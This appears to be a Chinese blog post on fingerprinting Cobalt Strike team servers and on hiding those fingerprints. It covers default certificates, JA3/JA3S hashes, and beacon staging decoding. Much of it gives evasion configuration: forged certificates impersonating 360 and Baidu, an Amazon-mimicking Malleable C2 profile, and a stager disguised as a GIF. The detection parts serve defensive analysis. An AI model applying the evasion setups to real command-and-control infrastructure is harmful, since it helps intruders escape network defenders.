Cobalt Strike简介
Cobalt Strike is software for Adversary Simulations and Red Team Operations. Cobalt Strike 简称CS, A-team详细介绍使用网址 。CS是一款优秀的后渗透工具,可以在获取主机权限后进行长久权限维持,快速进行内网提权,凭据导出等。在后渗透中如果未修改特征,容易被流量审计设备监控,被蓝队溯源。
Cobalt Strike 是一个为对手模拟和红队行动而设计的平台,主要用于执行有目标的攻击和模拟高级威胁 者的后渗透行动。本章中会概述 Cobalt Strike 的功能集和相关的攻击流程。在本手册的剩余部分中会 详细的讨论这些功能。
Cobalt Strike的特征
teamserver主控端使用的加密证书
root@kali:~/桌面/cobalt strike 4.0# ls -l 总用量 27748 -rwxrw-rw- 1 root root 126 12月 5 2019 agscript -rwxrw-rw- 1 root root 144 12月 5 2019 c2lint -rwxrw-rw- 1 root root 256 1月 25 2020 cobaltstrike .auth -rwxrw-rw- 1 root root 785468 3月 15 2019 CobaltstrikeCN.jar -rwxrw-rw- 1 root root 27487620 3月 20 2020 cobaltstrike.jar -rwxrw-rw- 1 root root 2315 3月 17 2019 cobaltstrike.store -rwxrw-rw- 1 root root 96104 12月 5 2019 icon.jpg -rwxrw-rw- 1 root root 141 12月 5 2019 peclone -rwxrw-rw- 1 root root 141 3月 19 2020 start.bat -rwxrw-rw- 1 root root 108 3月 19 2020 start.sh -rwxrw-rw- 1 root root 1865 3月 19 2020 teamserver -rwxrw-rw- 1 root root 2005 3月 19 2020 teamserver.bat drwxr-xr-x 2 root root 4096 10月 13 14:41 third-party
这里的cobalstrike.store里面的证书是用来teamserver主控端使用的加密证书(默认端口50050),而不是主机上线的时候使用的
特征很容易看到
keytool -list -v -keystore cobaltstrike.store
我们去fofa进行搜索可以发现大量服务端机器
port="50050" && cert="cobaltstrike"

我们也可以使用指纹来查询哪些是cobaltStrike的服务器,下面是4.0的证书指纹
可以到censys去查询该证书
7B49FC589E7E738E3457859D269996ECEF83F693570B0AC482C426B1FA04BD73
也可以查看使用此证书的主机
去除特征的几种方法
修改默认端口号
第一种是直接编辑teamserver进行启动项修改。./teamserver 1.1.1.1 password 直接修改teamserver vim teamserver
编辑teamserver文件 搜索server_port
修改端口为12345
再次访问发现端口已经修改
修改默认SSL证书
存在的特征,需要重新创建一个新的不一样的证书。
使用以下命令创建证书
keytool -keystore cobaltstrike.store -storepass 密码 -keypass 密码 -genkey -keyalg RSA -alias google.com -dname "CN=(名字与姓氏), OU=(组织单位名称), O=(组织名称), L=(城市或区域名称), ST=(州或省份名称), C=(单位的两字母国家代码)"
比如修改为百度或者360
360 keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias 360.com -dname "CN=US, OU=360.com, O=Sofaware, L=Somewhere, ST=Cyberspace, C=CN" baidu keytool -keystore cobaltStrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"
再次运行发现 证书已经改变特征已经为360公司
HTTP流量
在使用Cobalt Strike HTTP进行对应通信的时候,我们使用wireshark来抓取HTTP协议。包括请求的固定地址,请求头等等。可以看到一些固定的请求信息特征可以查看到。
对应的Malleable-C2-Profiles配置文件由此而来,它允许我们仅通过一个简单的配置文件来改变Beacon和cobaltstrike通信时的流量特征和行为。
https://github.com/rsmudge/Malleable-C2-Profiles
在github上有师傅给出了一些APT 和正常厂商对应行为的配置文件
set sleeptime "5000"; set jitter "0"; set maxdns "255"; set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"; http-get { set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books"; client { header "Accept" "*/*"; header "Host" "www.amazon.com"; metadata { base64; prepend "session-token="; prepend "skin=noskin;"; append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996"; header "Cookie"; } } server { header "Server" "Server"; header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT"; header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo="; header "X-Frame-Options" "SAMEORIGIN"; header "Content-Encoding" "gzip"; output { print; } } } http-post { set uri "/N4215/adj/amzn.us.sr.aps"; client { header "Accept" "*/*"; header "Content-Type" "text/xml"; header "X-Requested-With" "XMLHttpRequest"; header "Host" "www.amazon.com"; parameter "sz" "160x600"; parameter "oe" "oe=ISO-8859-1;"; id { parameter "sn"; } parameter "s" "3717"; parameter "dc_ref" "http%3A%2F%2Fwww.amazon.com"; output { base64; print; } } server { header "Server" "Server"; header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT"; header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo="; header "X-Frame-Options" "SAMEORIGIN"; header "x-ua-compatible" "IE=edge"; output { print; } } }
通过c2lint来检测该文件
╰─$ ./c2lint amazon.profile =============== default =============== http-get -------- GET /s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books HTTP/1.1 Accept: */* Host: www.amazon.com Cookie: skin=noskin;session-token=lCZcYm9qlpy8hT41NUthoA==csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko HTTP/1.1 200 OK Server: Server x-amz-id-1: THKUYEZKCKPGY5T42PZT x-amz-id-2: a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo= X-Frame-Options: SAMEORIGIN Content-Encoding: gzip Content-Length: 64 *..[..6..8...Q|?...,V...Md...f..m.8y.....f.E...Ho..pOy....C..{^. http-post --------- POST /N4215/adj/amzn.us.sr.aps?sz=160x600&oe=oe&sn=24791&s=3717&dc_ref=http%3A%2F%2Fwww.amazon.com HTTP/1.1 Accept: */* Content-Type: text/xml X-Requested-With: XMLHttpRequest Host: www.amazon.com Content-Length: 24 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko 29Mivrcb3fH6Gw0cZioEMA== HTTP/1.1 200 OK Server: Server x-amz-id-1: THK9YEZJCKPGY5T42OZT x-amz-id-2: a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo= X-Frame-Options: SAMEORIGIN x-ua-compatible: IE=edge Content-Length: 0
可以看到我们对应的伪造请求,再次启动teamserver,抓取对应流量包
我们可以看到对应的特征信息已经修改
HTTPS流量
对于HTTPS流量我们是们Wireshark进行抓取
我们可以找到对应的证书数据包,导出对应的分组字节流, Export selected Packet Bytes
计算证书的SHA256值,并在censys.io进行搜索
╰─$ sha256sum https.cer 87f2085c32b6a2cc709b365f55873e207a9caa10bffecf2fd16d3cf9d94d390c https.cer
可以看到使用该默认证书的主机
同时在Client Hello数据包中同样也存在
TLS客户端进行指纹识别的思想,最初来自于Lee Brotherston 于2015年的一项研究成果,对这项研究感兴趣的读者可以参阅这里 ;与该思想相关的DerbyCon演讲可以参阅这里 。
我们知道,不仅”良性的”应用程序会使用TLS及其前身SSL对其流量进行加密,而且恶意软件也常常这样做;前者这样做的目的是确保数据安全,而后者这样做的目的则是将其流量隐藏在噪声中。为了启动TLS会话,客户端将在TCP 3次握手后发送TLS客户端的Hello数据包。这个数据包及其生成方式取决于构建客户端应用程序时所使用的软件包和方法。如果接受TLS连接,服务器将使用基于服务器端库和配置以及Client Hello消息中的详细信息创建的TLS Server Hello数据包进行响应。由于TLS协商是以明文的方式传输的,所以,我们可以使用TLS Client Hello数据包中的详细信息对客户端应用程序进行指纹识别。
JA3 这个项目用于收集Client Hello数据包中以下字段的十进制值:包括版本、可接受的密码、扩展列表、椭圆曲线密码和椭圆曲线密码格式。然后,用,
来分隔各个字段、用-
来分隔各个字段中的各个值,将这些值串联在一起之后,计算 MD5
,就是一个ja3。如果没有某个字段,则这些字段的值为空。
字段顺序如下:
TLSVersion,Ciphers,Extensions,EllipticCurves,EllipticCurvePointFormats
第一字段TLSVersion
第二个字段Ciphers总共19个
将对应的数值进行转化
0xc02c->49196 0xc02b->49195 0xc030->49200 49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10
第三个字段Extensions
第四个字段:EllipticCurves
0x1d->29, 0x17->23, 0x18->24 29-23-24
第五个字段:EllipticCurvePointFormats
将五个字段用,
拼接如下:
771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,5-10-11-13-35-23-65281,29-23-24,0
做MD5加密如下:
In [1]: import hashlib In [2]: hashlib.md5(('771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,5-10-11-13-35-23-65281,29-23-24,0').encode(encoding="utf-8")).hexdigest() Out[2]: '72a589da586844d7f0818ce684948eea'
也可以使用对应的脚本直接进行解密
https://github.com/salesforce/ja3
╰─$ python ja3.py ~/Documents/0.OL4THREE/HTTPS-WIN10.pcapng [10.17.21.136:443] JA3: 771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,5-10-11-13-35-23-65281,29-23-24,0 --> 72a589da586844d7f0818ce684948eea [10.17.21.136:443] JA3: 771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,5-10-11-13-35-23-65281,29-23-24,0 --> 72a589da586844d7f0818ce684948eea [10.17.21.136:443] JA3: 771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,5-10-11-13-35-23-65281,29-23-24,0 --> 72a589da586844d7f0818ce684948eea
对比 https://github.com/ByteSecLabs/ja3-ja3s-combo/blob/master/master-list.txt 可证实是CobaltStrike的ja3指纹
同样的我们也可以去计算下服务端的ja3s
╰─$ python ja3s.py ~/Documents/0.OL4THREE/HTTPS-WIN10.pcapng [192.168.72.177:1667] JA3S: 771,CipherSuite(TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384),23-35-65281 --> f9a2073be9cd81e756f9c3ab50ba9bd1 [192.168.72.177:1668] JA3S: 771,CipherSuite(TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384),23-35-65281 --> f9a2073be9cd81e756f9c3ab50ba9bd1 [192.168.72.177:1669] JA3S: 771,CipherSuite(TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384),23-35-65281 --> f9a2073be9cd81e756f9c3ab50ba9bd1
MetaSploit 的 Meterpreter 和 CobaltStrike(并非4.1版本) 的 Beacon 都使用 Windows 套接字来启动 TLS 通信。在 Windows 10 上,JA3=72a589da586844d7f0818ce684948eea(指定 IP 地址),JA3=a0e9f5d64349fb13191bc781f81f42e1(指定域名)。由于 Windows 上的其他普普通通的应用程序也使用相同的套接字,因此,我们很难识别其中的恶意通信。但是,Kali Linux 上的 C2 服务器对该客户端应用程序的响应方式与 Internet 上的普通服务器对该套接字的响应方式相比来说是独一无二的。尽管服务器对不同客户端的响应不同,但它们对同一客户端的响应总是一致的。因此,如果结合 ja3+ja3s,就能够识别这种恶意通信,而不用考虑目的地 IP、域名或证书等细节信息。
JA3和JA3S是一种基于TLS指纹的安全分析方法。JA3指纹能够指示客户端应用程序通过TLS通信的方式,而JA3指纹能够指示服务器响应。如果两者结合起来,实质上就生成了客户端和服务器之间的加密协商的指纹。虽然基于TLS的检测方法不一定是灵丹妙药,也不一定能保证映射到客户端应用程序,但它们始终是安全分析的轴心所在。
所以对于HTTPS证书特征,建议一定要修改默认的HTTPS证书,重新申请一个HTTPS证书,
之后会生成对应的TXT记录,复制进对应的DNS域名管理,解析后下载文件。
之后会得到full_chain.pem证书和private私钥两个文件。上传至cobalt strike文件夹下,使用keytool重新创建证书
openssl pkcs12 -export -in full_chain.pem -inkey private.key -out Wings.p12 -name Wings -passout pass:wings123456 keytool -importkeystore -deststorepass wings123456 -destkeypass ccc123456 -destkeystore wings.store -srckeystore Wings.p12 -srcstoretype PKCS12 -srcstorepass wings123456 -alias Wings keytool -importkeystore -deststorepass wings123456 -destkeypass ccc123456 -destkeystore wings.jks -srckeystore Wings.p12 -srcstoretype PKCS12 -srcstorepass wings123456 -alias Wings
创建后,在profile配置文件中,添加
https-certificate { set keystore "wings.store"; set password "wings123456"; }
同时将teamserver中修改调用的store和对应的密码,进行启动发现证书已经修改
在生成可执行文件时,点击Sign executable file 进行勾选
再次抓取流量进行分析
发现证书信息已经修改
Beacon Staging 特征
在cobalt strike 上线的时候,首先投递一个被称为stager的小巧payload,然后去beacon staging server下载体积较大更复杂的stage。具体细节不是很明白。 通过访问默认的uri就可以获取到cobalt strike 的shellcode。有师傅已经写好了grab_beacon_config.nse
脚本来识别beacon staging的特征。
nmap xxx.xxx.xxx.xxx --script=grab_beacon_config.nse
当CobaltStrike的stager在受害端运行时,会请求TeamServer端拉取Beacon进行在内存中反射注入运行,先运行stage,打开wireshark抓包
可以看到受害段访问teamserver http://192.168.137.94/EuNU
访问并下载对应脚本
然后通过脚本对stager进行解密
import sys,struct filename = sys.argv[1] data = open(filename, 'rb').read() t = bytearray(data[0x45:]) (a,b) = struct.unpack_from('<II', t) key = a t2 = t[8:] out = "" for i in range(len(t2)/4): temp = struct.unpack_from('<I', t2[i*4:])[0] temp ^= key out += struct.pack('<I', temp) key ^= temp open(filename+'.decoded', 'wb').write(out)
python decostager.py EuNU
然后多出来一个EuNU.decoded文件,之后我们利用如下脚本可以解析出对应的配置信息
https://github.com/Sentinel-One/CobaltStrikeParser
$ python3 ../CobaltStrikeParser-master/parse_beacon_config.py EuNU.decoded BeaconType - HTTP Port - 80 SleepTime - 5000 MaxGetSize - 1048576 Jitter - 0 MaxDNS - 255 PublicKey_MD5 - defb5d95ce99e1ebbf421a1a38d9cb64 C2Server - 192.168.137.94,/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books UserAgent - Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko HttpPostUri - /N4215/adj/amzn.us.sr.aps Malleable_C2_Instructions - Empty HttpGet_Metadata - ConstHeaders Accept: */* Host: www.amazon.com Metadata base64 prepend "session-token=" prepend "skin=noskin;" append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996" header "Cookie" HttpPost_Metadata - ConstHeaders Accept: */* Content-Type: text/xml X-Requested-With: XMLHttpRequest Host: www.amazon.com ConstParams sz=160x600 oe=oe=ISO-8859-1; s=3717 dc_ref=http%3A%2F%2Fwww.amazon.com SessionId parameter "sn" Output base64 print PipeName - DNS_Idle - 0.0.0.0 DNS_Sleep - 0 SSH_Host - Not Found SSH_Port - Not Found SSH_Username - Not Found SSH_Password_Plaintext - Not Found SSH_Password_Pubkey - Not Found SSH_Banner - HttpGet_Verb - GET HttpPost_Verb - POST HttpPostChunk - 0 Spawnto_x86 - %windir%\syswow64\rundll32.exe Spawnto_x64 - %windir%\sysnative\rundll32.exe CryptoScheme - 0 Proxy_Config - Not Found Proxy_User - Not Found Proxy_Password - Not Found Proxy_Behavior - Use IE settings Watermark - 305419896 bStageCleanup - False bCFGCaution - False KillDate - 0 bProcInject_StartRWX - True bProcInject_UseRWX - True bProcInject_MinAllocSize - 0 ProcInject_PrependAppend_x86 - Empty ProcInject_PrependAppend_x64 - Empty ProcInject_Execute - CreateThread SetThreadContext CreateRemoteThread RtlCreateUserThread ProcInject_AllocationMethod - VirtualAllocEx bUsesCookies - True HostHeader - headersToRemove - Not Found DNS_Beaconing - Not Found DNS_get_TypeA - Not Found DNS_get_TypeAAAA - Not Found DNS_get_TypeTXT - Not Found DNS_put_metadata - Not Found DNS_put_output - Not Found DNS_resolver - Not Found DNS_strategy - Not Found DNS_strategy_rotate_seconds - Not Found DNS_strategy_fail_x - Not Found DNS_strategy_fail_seconds - Not Found
防护
从防火墙上限制访问beacon的端口。
iptables -I INPUT -p tcp --dport 443 -j DROP iptables -I INPUT -s xx.xx.xx.xx -ptcp --dport 443 -j ACCEPT
重新启动网卡,即可
修改profile文件
http-stager { set uri_x86 "/get32.gif"; set uri_x64 "/get64.gif"; client { parameter "id" "1234"; header "Cookie" "SomeValue"; } server { header "Content-Type" "image/gif"; output { prepend "GIF89a"; print; } } }
再次生成请求,进行抓包发现对应信息已经修改
再次访问链接,为以下格式
修改源码加密的密钥
该内容在CobaltStrike二开特征修改中。
参考链接
http://www.feidao.site/wordpress/?p=4457
[https://kam1.cc/2021/08/09/Cobalt%20Strike%E9%9A%90%E8%97%8F%E7%89%B9%E5%BE%81%E4%B8%8E%E6%B7%B7%E6%B7%86%E6%B5%81%E9%87%8F/] (https://kam1.cc/2021/08/09/Cobalt Strike隐藏特征与混淆流量/)
https://www.freebuf.com/articles/endpoint/253322.html
https://paper.seebug.org/1349/
https://mp.weixin.qq.com/s/6nBrRJHFFpCw4N90n8aURA
https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967
FROM :ol4three.com | Author:ol4three
评论